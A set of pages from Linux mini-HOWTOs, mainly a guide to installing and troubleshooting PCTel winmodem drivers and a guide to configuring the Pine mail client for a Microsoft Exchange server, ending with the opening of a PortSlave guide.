NOTE: These commands can be issued from any directory as the insmod program will automatically find the drivers pctel.o and ptserial.o in /lib/modules/`your kernel version`/misc/ )

Warning

NOTE: Please note that the pctel-0.9.0 drivers are comparatively new, and there has been some complaints of lock ups and system unstabilty while using these drivers. If you experience stabilty problems while using these drivers, please, please revert back to the pctel-0.8.6 drivers.

However, if you have an AMR modem, then you will have to use the 0.9.0 drivers.

5.3. Installing the pctel-0.8.6 driver

Warning

Use this driver only if you experience problems with the pctel-0.9.0 drivers

Make sure that you have kernel 2.4.0 or greater by the command

bash$ uname -r

Unpack the downloaded files with the commands

bash$ tar -xzvf 0.8.6.tar

Now you will have a pctel-0.8.6 directory

cd into that with the command

bash$ cd pctel-0.8.6/

Now comes the complicated part.

To proceed further you will have to know what chip set your modem has.See section 9.4 for more information on this.

Once you have got the name of the chip set, just type one of the following commands (depending on the chip set)

If you have a PCT 789 chip set,

bash$ ./configure --with-hal=pct789

If you have a CM8738 chip set,

bash$ ./configure -with-hal=cm8738

If you have a chip set integrated with an Intel 810 chip set based motherboard from Intel,

bash$ ./configure --with-hal=i810intel

If you have a chip set integrated with an Intel 810 chip set based motherboard from SIS,

bash$ ./configure --with-hal=i810sis

If you have a chip set integrated with an VIA 686a chip set based motherboard ,

bash$ ./configure --with-hal=via686a

The configure script will run and a number of messages will fly past. Check for any error messages that may fly past. When you have the prompt again, (and if you have not got any errors), compile the drivers with the command

bash$ make

Then if you do not get any error messages, install the drivers with the command

bash$ make install

(You will have to be logged in as root for performing the last step)

Then just load the drivers with the commands

bash$ insmod pctel

bash$ insmod ptserial

(these too, like in the case of the pctel-0.9.0 drivers, can be issued from any directory as the insmod program will automatically find the drivers pctel.o and ptserial.o in /lib/modules/`your kernel version`/misc/ )

Prev | Home | Next
Choosing a suitable driver |  | Testing the drivers


Introduction

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

1. Introduction

1.1. Copyright Information

Copyright (c) 2002 Sayamindu Dasgupta, Jan Stifter. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections , with no Front-Cover Texts , and with no Back-Cover Texts . A copy of the license is included in the section entitled "GNU Free Documentation License".

1.2. Disclaimer

The methods described in this document might damage your data or your PC or both. The authors will not be responsible for any damage that might arise out of the use of this document. Use this document ENTIRELY at your own risk.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

The latest version of this mini-HOWTO will always be made available in my homepage (many thanks to Peaceful Action for hosting my homepage) in a variety of formats:

  • HTML.

  • plain text.

  • PDF.

  • RTF.

  • compressed html (multiple pages format).

  • SGML source.

1.4. Credits

I am extremely grateful to the howtos_NO_SPAM@kcircle.com list members for their support, especially to USM Bish.

The members of the discuss@linmodems.org list have been very helpful too, specially in the initial phase of the howto-writing. I am also extremely grateful to Phil Richard Burchill, Rajesh Fowkar, KV Pham and Andrew Kar (akar) for their valuable suggestions.

The sgml-stuff has been done with the help of the template written by Stein Gjoen, Gregory Leblanc and Greg Ferguson. I am also indebted to Greg Ferguson for cleaning up the mess i had made with Docbook:).

1.5. Feedback

If you have any comments, criticisms, ideas, additions, corrections, then please do mail them to <unmadindu_NO_SPAM_@Softhome.net>. But for technical queries, we suggest that you ask at the discuss@linmodems.org mailing list.

NOTE: Please do not mail me with your problems. You will NOT get any answer. For answers ask at discuss@linmodems.org

1.6. Translations

  • Portuguese Translation by Rafael Cardoso <rafamvc_NO_SPAM_@yahoo.com.br>

1.7. Conventions used in this document

We have used a number of special formatting to indicate warning messages, commands, filenames, computer outputs etc.

Bash commands

bash$ ls

Warnings

Warning

WARNING

Filename/Directory

/usr/src/linux/

Applications

application

Computer Output

no such file or directory

Codes/scripts

#! /bin/bash

Large Computer Outputs

logfile begins

Prev | Home | Next
PCTel HSP MicroModem Configuration mini-HOWTO |  | Purpose of the mini-HOWTO


A few other points that must be noted.

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

7. A few other points that must be noted.

Here are a few more points you might find to be of interest/useful.

7.1. Loading the modules at automatically

Well, if you have the pctel.o and ptserial.o files in /lib/modules/`your kernel version`/misc/ , you can just add these lines to your /etc/modules.conf file

# for pctel modem

alias char-major-62 ptserial

below ptserial pctel

# country code for pctel modem

options ptserial country_code=1

Run

bash$ depmod -a

after modifying your /etc/modules.conf .

In this case, running ppp would automatically load these modules. You can also write up some shell-script and put them in your /usr/bin/ directory (I have a sample of such a script in the appendix section)

7.2. Country codes

The ptserial.o driver also lets you specify the country code, though for most situations, the default of USA is all right. If you still want to specify the country code, load the ptserial.o module with the command

bash$ insmod ptserial country_code=x

(where x is the country code you want) The list of country codes with the corresponding country names is listed below.

country_code  country name

1            USA

2            FRANCE

3            GERMANY

4            ITALY

5            SWEDEN

6            UK

7            JAPAN

8            AUSTRALIA

9            SPAIN

10           TAIWAN

11           SINGAPORE

12           KOREA

13           SWITZERLAND

14           NORWAY

15           NETHERLANDS

16           BELGIUM

17           CANADA

18           IRELAND

19           PORTUGAL

20           POLAND

21           HUNGARY

22           FINLAND

23           DENMARK

24           AUSTRIA

25           S.AFRICA

26           CTR21 COUNTRIES

27           CHINA

28           MALAYSIA

29           LUXUMBURG

30           GREECE

31           ICELAND

32           NEW ZEALAND

33           BRAZIL

7.3. Other options while loading the modules.

The other options that you may want to use while loading ptserial.o are:

For all HALs :

- irq: Force to using irq #.

- iobase: Force to use iobase for modem detection.

Only for I810/VAI686A HALs:

- iobase1: Force the iobase 1

NOTE: if you want to set iobase or iobase1, you should use

irq/iobase/iobase1 at same time.

Only for CM8738/PCT789 HALs:

- vendor_id: vendor ID of the modem

- device_id: device ID of the modem.

NOTE: vendor_id and device_id should be used at the same time,

but you cannot combinate this two options with

iobase, iobase prevail to (vendor/device)_id detection.

7.4. The sequence of loading/unloading the modules.

When you load the modules, you must load the pctel.o module at first

bash$ insmod pctel

and then the ptserial.o

bash$ insmod ptserial

While unloading, the sequence is reversed,

bash$ rmmod ptserial

bash$ rmmod pctel

7.5. Bugs in the pctel-0.9.0 and the 0.8.6 versions.

> There is a serious bug in the drivers for the kernel 2.4x The modem often seems to stop working/hang while dialing out, and you get nothing but a beeeeeeeeee... sound from the modem speaker and later, the dialer gives a message No Carrier and disconnects.

This problem has no real workaround , but sometimes unloading and reloading of the modules work. For that the commands will be (assuming that you have the modules in /lib/modules/'your kernel version`/misc/ )

bash$ rmmod ptserial

bash$ rmmod pctel

bash$ insmod pctel

bash$ insmod ptserial

NOTE:You must exit from your dialer before trying to unload the drivers, otherwise you will get a device or resource busy error.

When the problems become too acute, the only solution seems to be rebooting.

It has been also noticed that sometimes, this problem is ISP dependent, with the problem surfacing when using a particular ISP.

7.6. Directory of the kernel source files

> If you get an error saying /usr/src/linux/include/linux/modversions.h : no such file or directory, look in your /usr/src directory for the kernel source. The default location is /usr/src/linux/ but some distributions may install the files somewhere else.

If you find that the files are somewhere else, say in the directory, /usr/src/myspecialsource/ , do not try to move the files, just create a symbolic link with the command

bash$ ln -s /usr/src/myspecialdirectory/ /usr/src/linux/

NOTE: In case of the PCTel-0.8.6 drivers you can also specify the location of your kernel source by using the option

bash$ --with-kernel-includes=your kernel source directory

during running the configure script.

7.7. PnP BIOS issues

As most computers are designed for M$-Windows operating systems, the BIOS of the computer assumes that you have a what it calls a "PnP OS installed". This may cause trouble with these types of modems in linux (specially if you have resource conflicts) and so the best bet is to change the option "PnP OS installed" to "No". To do these, you have to perform the following steps:

During startup, when you see "Memory Test" messages, CPU information, BIOS information, just press the DEL key (if that does not work, usually one of the Function (Fx) keys work..check your manual).

You will be presented with the BIOS configuration menu. Enter the "PNP/PCI Configuration" section and set the option for "PNP OS Installed" to "NO". Save the changes you have made, and then reboot.

NOTE: This is not applicable to all BIOSs, and you are advised to consult your PC documentation if you have a different kind of BIOS configuration menu.

7.8. AMR modems

There are certain PCTel chip set based internal modems that go into AMR slots instead of the normal PCI slots. They are usually identified as HSP MR by the bash$ lspci command. These modems are supported by the pctel-0.9.0 drivers only.

Prev | Home | Next
Testing the drivers |  | FAQ/Troubleshooting


Purpose of the mini-HOWTO

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

2. Purpose of the mini-HOWTO

The purpose of this document is to guide you to make your PCTel HSP MicroModem work in linux.

First let me explain what is so "special" about these PCTel modems that made me write this guide.These modems fall in a special class of hardware, specifically made for M$-Windows systems, and have device drivers which are specific for M$-Windows ...These modems are also called "Winmodems" and are one of the most troublesome pieces of hardwares for Linux. Most of the winmodems do not work with linux (the manufacturers use patented technologies and so drivers for these modems cannot be developed as Open Source). For a few of these winmodems, drivers have been developed

The PCTel modems belong to this category and fall under linmodems.

NOTE: Though I am referring PCTel modems here, actually PCTel only manufactures the chips for these modems, so if you have say, XXX modem and you get a

00:09.0 Communication controller: PCTel Inc HSP MicroModem 56 (rev 01)

when you issue the bash$ lspci command, then do not worry, you have what we call a PCTel linmodem.

Prev | Home | Next
Introduction |  | Where to get the drivers


Choosing a suitable driver

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

4. Choosing a suitable driver

The driver version that you will have to use depends on the kernel version you have. To know your kernel version, you will have to issue the command

uname -r

If you see something like 2.2.x, go to http://modems.dewback.cl and download the pctel 2.2x drivers from the PCTel section of that site.

If you see something like 2.4x, go to http://www.medres.ch/~jstifter/pctel/ and download the pctel 0.9.0 (pctel-0.9.0.tar.gz) drivers from that site.

Warning

NOTE: There has been some complaints of system instability while using the pctel 0.9.0 drivers, if you experience problems, then download the pctel 0.8.6 drivers from http://www.medres.ch/~jstifter/pctel/.

Warning

Also note that only the pctel 0.9.0 drivers have support for the new AMR modems.

Prev | Home | Next
Where to get the drivers |  | Compiling and installing the drivers


Testing the drivers

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

6. Testing the drivers

There is only one way to check whether the drivers are working or not. You will have to see if your modem is recognized or not. The driver makes a node for your modem at /dev/ttyS15 , no matter what com port it may be in in M$DOS/M$ Windows. /dev/ttyS15 is symlinked to /dev/modem and as most programs search for a modem at /dev/modem first, you will not have to fiddle with the settings/configs of those programs. The program that I use to test my modem in linux is minicom. If you have minicom installed, what you have to do is type

bash$ minicom

in a shell prompt or in a terminal emulator window. If everything is all right, you will see a Initializing modem message for a few seconds and then a screen with a blinking cursor. Just type in ATZ in that screen and hit the enter key. If you see a OK message, then, congratulations, your modem is working in linux. Type in ATI 3 and hit enter and you will see a PCtel HSP56 MicroModem output. If you get a error message, proceed to the troubleshooting section. If everything is all right up to now, you can go ahead to configure your dialer software and connect to the internet.

Prev | Home | Next
Compiling and installing the drivers |  | A few other points that must be noted.


FAQ/Troubleshooting

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

8. FAQ/Troubleshooting

Here is a set of common problems that you may face, along with their possible solutions.

8.1. Compiling Problems

8.1.1. I get a /usr/src/linux/include/linux/modversions.h : no such file or directory
8.1.2. I get a permission denied error while running bash$ make install

8.1.1. I get a /usr/src/linux/include/linux/modversions.h : no such file or directory

You need to have your kernel source installed under /usr/src/linux/

If you have the kernel source installed somewhere else, just make the appropriate symlink. (see section 7.6 for more information) If you have that installed under /usr/src/linux/ , run

bash$ make config

bash$ make dep

in /usr/src/linux/

8.1.2. I get a permission denied error while running bash$ make install

You need to be logged in as root while doing bash$ make install

8.2. Problems while loading the modules.

8.2.1. I get unresolved symbols.... messages while loading the modules
8.2.2. I get an Operation not permitted error while trying to load the drivers

8.2.1. I get unresolved symbols.... messages while loading the modules

Firstly, check that you are loading ptserial.o only after loading pctel.o.

If that does not solve the problem, then probably you have compiled your modules for the wrong kernel version. Check your kernel version with the command

bash$ uname -r

and then verify if you have the right files in /usr/src/linux .

Moreover, if you have a running kernel for a uniprocessor machine and have kernel source in /usr/src/linux/ that is configured for smp support, then you will get unresolved symbols. A method to check whether you have a smp supporting source is by running bash$ make menuconfig in /usr/src/linux/ and seeing whether smp support is selected.

Another way to get rid of the unresolved symbols problem is to use the fixscript package from http://www.medres.ch/~jstifter/pctel/fixscript.gz

The procedure is to:

Unpack the downloaded file with

bash$ gzip -d fixscript.gz

Make it executable with

bash$ chmod +x fixscript

Run it with

bash$ ./fixscript old_module.o new_module.o

This will create the new module, which you can try to load with

bash$ insmod new_module.o

If fixscript reports an error like

objcopy: --redefine-sym: Symbol x is target of more than one redefinition

then, fixscript can not help you.

The best method is of course, to fix your kernel source and recompile the drivers.

Make sure that you do a

bash$ make clean

before recompiling.

8.2.2. I get an Operation not permitted error while trying to load the drivers

You will have to be logged in as root to load the drivers, otherwise, you can also type in the

bash$ su

command and then load the drivers.

8.3. General modem based problems.

8.3.1. I get a /dev/modem no such device error.
8.3.2. My dialer gives a No Carrier error
8.3.3. I get a No Dialtone message.
8.3.4. I get a Modem Busy error.

8.3.1. I get a /dev/modem no such device error.

First of all, check if you really have the drivers loaded. You can do this by the command

bash$ lsmod

This command lists all the modules that you have loaded, and if you see something like

Module                  Size  Used by
ptserial               47472   0 (unused)
pctel                1211808   0 [ptserial]

then, the modules are correctly loaded.

If not, just load them and retry.

Also check whether the file /dev/modem is symlinked to /dev/ttyS15

Remember, even if msdos or Microsoft Windows tells you that the modem is in com 3 or com 4, in linux the driver makes it appear in /dev/ttyS15 (the Microsoft equivalent of which will be com 16!!)

If you are in doubt, I suggest that you re-create the device files by the commands

bash$ rmmod ptserial

bash$ rmmod pctel

bash$ rm /dev/ttyS15 /dev/modem

bash$ mknod /dev/ttyS15 c 62 79

NOTE: the numbers after /devttyS15 are distribution specific, and the c 62 79 works for Red Hat Linux. If you have any other distribution, please check your documentations.

bash$ chgrp uucp /dev/ttyS15

bash$ chmod 666 /dev/ttyS15

bash$ ln -s /dev/ttyS15 /dev/modem

8.3.2. My dialer gives a No Carrier error

This is a bug with the drivers for the kernel 2.4x series

Refer to section 7.5 for more information.

8.3.3. I get a No Dialtone message.

This is usually solved by adding ATX3 to your modem init strings.

8.3.4. I get a Modem Busy error.

First of all, check if the drivers are loaded or not and then see, if any program is using the modem. If everything seems to be all right, try to find out the irq of your modem with the command

bash$ lspci -v

If the irq listed is obviously incorrect (like 0) (or does not tally with your M$-Windows configuration) then either use the setserial command

bash$ setserial /dev/ttyS15 irq * (where * is the irq of your modem)

or fiddle with the BIOS settings (see section 7.7)

8.4. I have a problem that is not listed in this section. What do I do?

The output of the command

bash$ tail /var/log/messages

will give you a lot of information if anything goes wrong The normal output should be something like this

PCTel device[00:09.0](0x48) found "PCTel Inc HSP MicroModem 56 (rev 01)", iobase=0xe400, irq=12.
PCTel driver version 0.9.0 [5.05c-4.27.215 (09-14-2001)] (PCT789) (2002-01-31) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled.
PCTel driver built on [Linux 2.4.18 i686 unknown "2.4.18 <132114>"] with gcc-2.96.
ttyS15 at 0xe400 (irq = 12) is a PCTel

Mail the output you get to the <discuss@linmodems.org> list( more on this in section 9.2.2), and wait for a reply.

Prev | Home | Next
A few other points that must be noted. |  | Appendix


Acknowledgements

Pine-Exchange mini-HOWTO
Prev Next

8. Acknowledgements

Thanks to Hugo van der Kooij for mentioning that Exchange version 5.5 or greater was not in the Requirements section. Thanks to Y Giridhar Appaji Nag for suggesting I add support for a Site-Wide Pine configuration.

Prev | Home | Next
Resources |  | Disclaimer


Communication

Pine-Exchange mini-HOWTO
Prev Next

3. Communication

These are the protocols that will facilitate communication between the Pine client and the Exchange Server: IMAP, SMTP, and LDAP. (see Resources)

  • IMAP (Internet Message Access Protocol) - This protocol will provide you access to all your messages and folders on the Exchange Server.

  • SMTP (Simple Mail Transfer Protocol) - This protocol will allow you to send outgoing Internet email.

  • LDAP (Lightweight Directory Access Protocol) - This protocol will provide you access to the Global Address List on the Exchange Server.

Prev | Home | Next
Requirements |  | Exchange Server Configuration


Copyright

Pine-Exchange mini-HOWTO
Prev

10. Copyright

Copyright (c) 2001-2002 by Alexandru Roman

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license may be found at:

http://www.gnu.org/copyleft/fdl.html

It is requested that the author's name and email are retained on all copies of this document. It is requested that corrections and/or comments be forwarded to the author. It is requested that the author be notified of any redistribution, derivation, and/or incorporation of this document.

Prev | Home
Disclaimer |


Disclaimer

Pine-Exchange mini-HOWTO
Prev Next

9. Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

Prev | Home | Next
Acknowledgements |  | Copyright


Example Configuration

Pine-Exchange mini-HOWTO
Prev Next

6. Example Configuration

This example should help carify the syntax of the settings defined in the previous section, with a set of artificial data.

6.1. Gather your information

Let us assume the following default information (You may provide your own if you have it available):

  Printed Name = "Foo Foo"
  Account/User Name = "foofoo"
  Domain Name = "foofoo.org"
  Exchange/IMAP/LDAP Server = "192.168.1.25"

NOTE: In order for the transition to be seamless, you have to make sure you match the information precisely as it is stored on the Exchange Server. (ie if your name on the Exchange server is "John B. Doe", make sure you set your printed name to the exact value)

Let us also assume, you have been using Outlook up to this point, and you have accumulated some messages in your "INBOX", "Sent Items", and "Drafts". Not too mention a couple of personal folders you created in your "INBOX" on the server to categorize your mail: "TODO", "DONE", and "Personal".

6.2. Setting up a local ~/.pinerc configuration file

Here are the settings you should find in your ~/.pinerc file. In most cases, each setting will be empty (ie "key=" with no value specified). Here is what they would look like plugging in the default information.

  user-domain=foofoo.org
  smtp-server=192.168.1.25
  inbox-path={192.168.1.25/user=foofoo}INBOX
  folder-collections="INBOX Folders" {192.168.1.25/user=foofoo}inbox/[],
                     "Mailbox Folders" {192.168.1.25/user=foofoo}[]
  default-fcc="{192.168.1.25/user=foofoo}Sent Items"
  postponed-folder={192.168.1.25/user=foofoo}Drafts
  customized-hdrs=From: Foo Foo <foofoo@foofoo.org>
  ldap-servers=192.168.1.100 "/base=/impl=1/rhs=0/ref=0/nosub=0/type=
             /srch=contains/time=/size=/cust=/nick=/matr=/catr=/satr=/gatr="
  rsh-open-timeout=0

NOTE: If you want to try SMTP Authentication with the above configuration, you would replace:
smtp-server=192.168.1.25
with:
smtp-server=192.168.1.25/user=foofoo

6.3. Setting up a site-wide Pine configuration

This configuration affects all the users on the system and requires a bit more work to setup. Only a UNIX SysAdmin should attempt this configuration.

NOTE: In order for this configuration to work properly, the Microsoft domain account information must be synced up with the Unix account information (ie. usernames and full names must match).

Looking at the default provided information you should notice that "Printed Name", and "Account/User Name" now have to be generalized. For "Printed Name", in removing it from the configuration file, Pine will default to the personal name found in the /etc/passwd file. For "Account/User Name", you can use "${USER}", which points to the environment variable which holds the users login name. So with that you get the following configuration:

  user-domain=foofoo.org
  smtp-server=192.168.1.25
  inbox-path={192.168.1.25/user=${USER}}INBOX
  folder-collections="INBOX Folders" {192.168.1.25/user=${USER}}inbox/[],
                     "Mailbox Folders" {192.168.1.25/user=${USER}}[]
  default-fcc="{192.168.1.25/user=${USER}}Sent Items"
  postponed-folder={192.168.1.25/user=${USER}}Drafts
  #customized-hdrs=From: Foo Foo <foofoo@foofoo.org>
  ldap-servers=192.168.1.100 "/base=/impl=1/rhs=0/ref=0/nosub=0/type=
             /srch=contains/time=/size=/cust=/nick=/matr=/catr=/satr=/gatr="
  rsh-open-timeout=0

NOTE: In this configuration we want to comment out the "customized-hdrs" setting since we want the user information to be retrieved from the system /etc/passwd file.

The last step in this configuration is determining whether to put the settings in /etc/pine.conf or /etc/pine.conf.fixed. That choice is yours, and depends on how much control you need to give to the users. If your company only uses Exchange, maybe all the settings should go in fixed, but then users couldn't use Pine for anything else. Remember, if you put a setting in pine.conf.fixed, the user does not have the option to change it.

6.4. Logging into the Exchange/IMAP server

When you first start up Pine, with your new configuration file (You can use the command 'pine -p .pinerc.new-config' if you have multiple), Pine will automatically try to connect to your Exchange/IMAP Server. After establishing a connection, using the provided username from the configuration file, it will prompt you for your password. This will be your network logon password on the Microsoft domain. Once you get authenticated, you should be ready to go.

6.5. Accessing your Folders with IMAP

When you first open your folder list, you should see three folder collections. Incoming Folders(INBOX), INBOX Folders(personal folders), and Mailbox Folders specialized folders).

Even though this is not a Pine HOWTO, there is one thing I want to point out about navigating the folders. When viewing the contents of a folder, if you want to view the list of messages in the folder, hit the "ENTER" key, if you want to view the list of folders(subdirectories) in the folder, hit the ">" key. If you need more information on using Pine, check out their website (see Resources).

6.6. Accessing your Global Address List with LDAP

Using the default configuration provided in this example, when you compose a new message, and type in a name in the "To:" box. Pine will first check your local addressbook for the nickname. If it doesn't find it, it will then run an LDAP query by default, using the default name you typed as the search string. Depending on the speed of the LDAP server, you should get a response relatively quickly. From the results you can choose the entry you were looking for, and continue writing your email.

NOTE: If you type in an email address in the "To:" box, it will NOT do an LDAP search or any other addressbook search (ie. user@smtp.email.org).

If you just want to do a search, without actually composing a new message, you can go directly to your addressbook, select the LDAP server, and type the search string from there (ie (M)ain, (A)ddressbook).

In case you do not want Pine to do an automatic LDAP lookup everytime you compose a new message, you can change the parameter "/impl=1" in the "ldap-server" setting to "/impl=0". This will allow you to do a manual LDAP query if you wish.

6.7. Sending an email with SMTP

This procedure does not change from normal Pine usage. You can start composing your message right away. When you send the message it will get sent through the provided SMTP server.

Prev | Home | Next
Pine Configuration |  | Resources


Exchange Server Configuration

Pine-Exchange mini-HOWTO
Prev Next

4. Exchange Server Configuration

Before starting to work on your Pine configuration, you must make sure that the Exchange Server is configured correctly. This is where your SysAdmin comes in to play. You need to make sure the IMAP, SMTP, and LDAP services are all running. These services could potentially be running on separate servers, so you need to consult your SysAdmin.

On Exchange Server 5.5, IMAP and LDAP are installed and running in the default installation. SMTP has to be installed separately, and comes in an add-on package called Microsoft Exchange Connector, specifically for sending mail on the Internet.

NOTE: You can manually check to see if these services are running by telneting to their respective ports. (ie. IMAP:143, SMTP:25, and LDAP:389)

Prev | Home | Next
Communication |  | Pine Configuration


Pine-Exchange mini-HOWTO

Alexandru Roman <roma4386@rh.edu>

v1.0, 2002-03-28

Revision History
Revision 1.0 | 2002-03-28 | Revised by: ar
Submitted to the LDP for publication.
Revision 0.3 | 2002-03-25 | Revised by: ar
Added the site-wide Pine Configuration information
Revision 0.2 | 2002-03-22 | Revised by: ar
Added Exchange v5.5 requirement, Pine v4.0 requirement, and Acknowledgements Section.
Revision 0.1 | 2002-03-21 | Revised by: ar
Submitted to the LPD community/listserv for review.

This HOWTO documents the configuration of the Pine email client to be used with a Microsoft Exchange Server.

Table of Contents
1. Introduction
2. Requirements
3. Communication
4. Exchange Server Configuration
5. Pine Configuration
6. Example Configuration
6.1. Gather your information
6.2. Setting up a local ~/.pinerc configuration file
6.3. Setting up a site-wide Pine configuration
6.4. Logging into the Exchange/IMAP server
6.5. Accessing your Folders with IMAP
6.6. Accessing your Global Address List with LDAP
6.7. Sending an email with SMTP
7. Resources
8. Acknowledgements
9. Disclaimer
10. Copyright
Next
Introduction


Introduction

Pine-Exchange mini-HOWTO
Prev Next

1. Introduction

This HOWTO will provide you the required information on setting up Pine to connect seamlessly to an Exchange Server. The services include the following:

  • The ability to send and receive email with Pine through an Exchange Server.

  • Access to all your Exchange INBOX and specialized folders and messages.

  • Configuration of specialized folders (Drafts, Sent Items, Public, etc).

  • Access to the Global Address List on the Exchange Server.

  • Seamless configuration meaning that you can switch between Exchange/Outlook/Pine clients without any problems. (Pine will not mess up your existing configuration if you wish to revert back to Outlook)

NOTE: This configuration will not allow you access locally created Exchange files (ie. .pst, .pab, etc)

Prev | Home | Next
Pine-Exchange mini-HOWTO |  | Requirements


Pine Configuration

Pine-Exchange mini-HOWTO
Prev Next

5. Pine Configuration

Pine has three types of configuration files we will concern ourselves with. Each of them can contain all the same settings, but with varied syntax. The decreasing order of precedence for each setting is as follows: /etc/pine.conf.fixed, ~/.pinerc, and /etc/pine.conf. Basically this means if Pine is looking for a specific setting it first checks pine.conf.fixed, if it does not exist it checks ~/.pinerc, if it does not exist it finally checks /etc/pine.conf.

  • ~/.pinerc -- This is the local user copy of the configuration file. It is located in the root of the users home directory it only affects that user. You should use this configuration if you do not have superusers/root access on the computer on which you are using Pine. To generate a new configuration file of this type, you issue the command 'pine -pinerc .pinerc.new'.

  • /etc/pine.conf -- This is the site-wide Pine configuration file, so it affects all the users running Pine on that machine (It can only be installed by the superuser/root account). The syntax is slightly different than the ~/.pinerc file since it has to represent all the users on the system, not just one. To generate a new configuration file of this type, you issue the command 'pine -conf > pine.conf.new'.

  • /etc/pine.conf.fixed -- This has exactly the same purpose and syntax as the /etc/pine.conf file, except for one property. This file is not overridden by the users ~/.pinerc file. Basically all the settings in this file are enforced, and cannot be changed by the user. Initially this file should be empty. You should add settings to it as needed.

Each of these files contain settings in the form of "key=value" pairings. You can change these settings with your favorite editor (ex. vi). For the ~/.pinerc file the user can change the settings directly from Pine, by going into (S)etup then (C)onfig. For LDAP settings go into (S)etup then (D)irectory.

Here are the important settings for communicating with the Exchange Server:

NOTE: The syntax of each setting will be shown in the Example configuration.

  • user-domain -- The domain name portion of your email address (So if your email address is user@yourcompany.com, then yourcompany.com would be your user-domain).

  • customized-hdrs -- This is the actually "From:" header that will appear in the message that you compose before you send it out. If you don't specify this header, the user and full name are taken from the system /etc/passwd file. There are other variations to setting up the "From:" header (see Resources).

  • smtp-server -- The hostname of your SMTP server. This may or may not be the same as your Exchange Server. (With SMTP Authentication you will need to specify a "/user" parameter on the end of this setting).

  • inbox-path -- This contains the default path to your INBOX. (This should point to the remote INBOX on your Exchange/IMAP server).

  • folder-collections -- This contains points to other folder collections you wish to view. There are only two sets you should concern yourself with. The first is your INBOX folders (personal folders you create in your INBOX), and the second is your Mailbox folders, which are default folders (ie. Sent Items, Deleted Items, Drafts, Outbox, Public Folders, etc.)

  • default-fcc -- This folder contains a carbon copy of all messages that you sent out. (This should point to the "Sent Items" folder on the Exchange server)

  • postponed-folder -- This folder contains postponed messages, that you wish to finish later. (If you are using Outlook, this should point to the "Drafts" folder on the Exchange server, otherwise you can create your own on the server)

  • ldap-server -- This is the hostname of your LDAP server. There are many parameters available for which you should consult your Pine documentation. (This will be used to access the Global Address List on the Exchange Server).

  • rsh-open-timeout -- Pine will use rsh to connect to IMAP by default. This is an Integer value which represents the timeout period. (Since Exchange servers don't run rsh, we are going to want to disable this feature by setting this value to 0).

One potential problem that you may run into is SMTP Authentication. Basically, this means that you need to provide a username and password to use SMTP to send email. I have found no official documentation which states that Pine supports SMTP Authentication (more so on the contrary). The closest thing I've found is the possibility of a /user Parameter to the smtp-server setting, which was mentioned briefly in the change log from version 4.20 to 4.21. It was also brought up a couple of times on the listserv. (see Resources)

If you still have problems with it, here is an alternative which I ended up using. You can have your SysAdmin add your IP address to the Exchange Server to allow you to bypass the SMTP authentication.

Prev | Home | Next
Exchange Server Configuration |  | Example Configuration


Requirements

Pine-Exchange mini-HOWTO
Prev Next

2. Requirements

I assume if you are reading this HOWTO, you probably already meet the requirements, but here they are anyhow:

  • Have a working knowledge of the Pine email client (There is little to no documentation in this HOWTO on using Pine). If you need more information on using Pine, check out their main website. (see Resources)

  • A username/password in order to log into the Exchange Server (Exchange servers run in a Microsoft domain, so your Exchange logon will be the same as your domain logon).

  • Befriend the SysAdmin of your Exchange Server (You may or may not need the help of this person depending on which services are running).

  • The Exchange Server must be version 5.5 or greater (Exchange did not support IMAP until 5.5).

  • Pine started supporting IMAP with v2.0 and LDAP with v4.0. I would recommend upgrading to the newest version, at the release of this document v4.44 or at least v4.0 or greater.

Prev | Home | Next
Introduction |  | Communication


Resources

Pine-Exchange mini-HOWTO
Prev Next

7. Resources

  • Pine Information Center

  • Pine mailing list

  • Pine Frequently Asked Questions

  • Current Pine Distribution Documentation

  • Pine Version Changes

  • Changing Your From Header in Pine

  • Internet Message Access Protocol

  • Lightweight Directory Access Protocol

  • Simple Mail Transfer Protocol

  • SMTP Authentication RFC

Prev | Home | Next
Example Configuration |  | Acknowledgements


PortSlave How-To using the Linux Router

Tom McKellips

tom@computechnology.com

Revision History
Revision v1.00 8 October 2000

I wrote this as a beginning for using Portslave with the Linux router project. It seems that Portslave is a widely used program with no documentation. Since I just dove into using Portslave I am sure this document can be improved by others over time. After several days of fighting Portslave, I figured out how incredibly easy to use it really is.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
2. The Procedure
Next
Introduction


Introduction

PortSlave How-To using the Linux Router
Prev Next

1. Introduction

Share this with all; sell it to no one.

First, I just want to thank all the Linux programmers out there. Your contributions have made a difference. I hope this small contribution is useful to the Linux users out there.

I wrote this as a beginning for using Portslave with the Linux router project. It seems that Portslave is a widely used program with no documentation. Since I just dove into using Portslave I am sure this document can be improved by others over time. After several days of fighting Portslave I figured out how incredibly easy to use it really is.

The trouble I ran into most of the time was PAP Authentication failure. This was really tough thing to work out (I thought). I also had a few other errors, but if you follow this How To it should at least get you started (or start you to the insane asylum).

1.1. Copyright Information

This document is copyrighted (c) 2000 Tom McKellips and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

